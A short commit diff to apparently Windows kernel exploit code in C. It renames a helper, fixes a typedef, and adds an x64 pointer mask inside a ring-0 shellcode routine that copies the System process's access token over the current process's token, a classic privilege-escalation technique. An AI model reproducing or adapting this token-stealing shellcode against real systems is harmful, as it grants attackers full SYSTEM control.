@@ -38,7 +38,7 @@ typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
38
38
OUT PVOID Process
39
39
);
40
40
41
- typedef NTSTATUS (NTAPI * lPsReferencePrimaryToken )(
41
+ typedef PACCESS_TOKEN (NTAPI * lPsReferencePrimaryToken )(
42
42
_Inout_ PVOID Process
43
43
);
44
44
@@ -137,7 +137,7 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
137
137
138
138
139
139
// Search the specified data structure for a member with CurrentValue.
140
- BOOL FindAndReplaceMember (PDWORD Structure ,
140
+ BOOL find_and_replace_member (PDWORD Structure ,
141
141
DWORD CurrentValue ,
142
142
DWORD NewValue ,
143
143
DWORD MaxSize )
@@ -146,8 +146,11 @@ BOOL FindAndReplaceMember(PDWORD Structure,
146
146
147
147
// Microsoft QWORD aligns object pointers, then uses the lower three
148
148
// bits for quick reference counting.
149
+ #ifdef _M_X64
150
+ Mask = ~0xf ;
151
+ #else
149
152
Mask = ~7 ;
150
-
153
+ #endif
151
154
// Mask out the reference count.
152
155
CurrentValue &= Mask ;
153
156
@@ -174,11 +177,11 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
174
177
pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & pMyProcessInfo );
175
178
pPsLookupProcessByProcessId ((HANDLE )4 , & pSystemInfo );
176
179
177
- TargetToken = ( PACCESS_TOKEN ) pPsReferencePrimaryToken (pMyProcessInfo );
178
- SystemToken = ( PACCESS_TOKEN ) pPsReferencePrimaryToken (pSystemInfo );
180
+ TargetToken = pPsReferencePrimaryToken (pMyProcessInfo );
181
+ SystemToken = pPsReferencePrimaryToken (pSystemInfo );
179
182
180
183
// Find the token in the target process, and replace with the system token.
181
- FindAndReplaceMember ((PDWORD )pMyProcessInfo ,
184
+ find_and_replace_member ((PDWORD )pMyProcessInfo ,
182
185
(DWORD )TargetToken ,
183
186
(DWORD )SystemToken ,
184
187
0x200 );
0 commit comments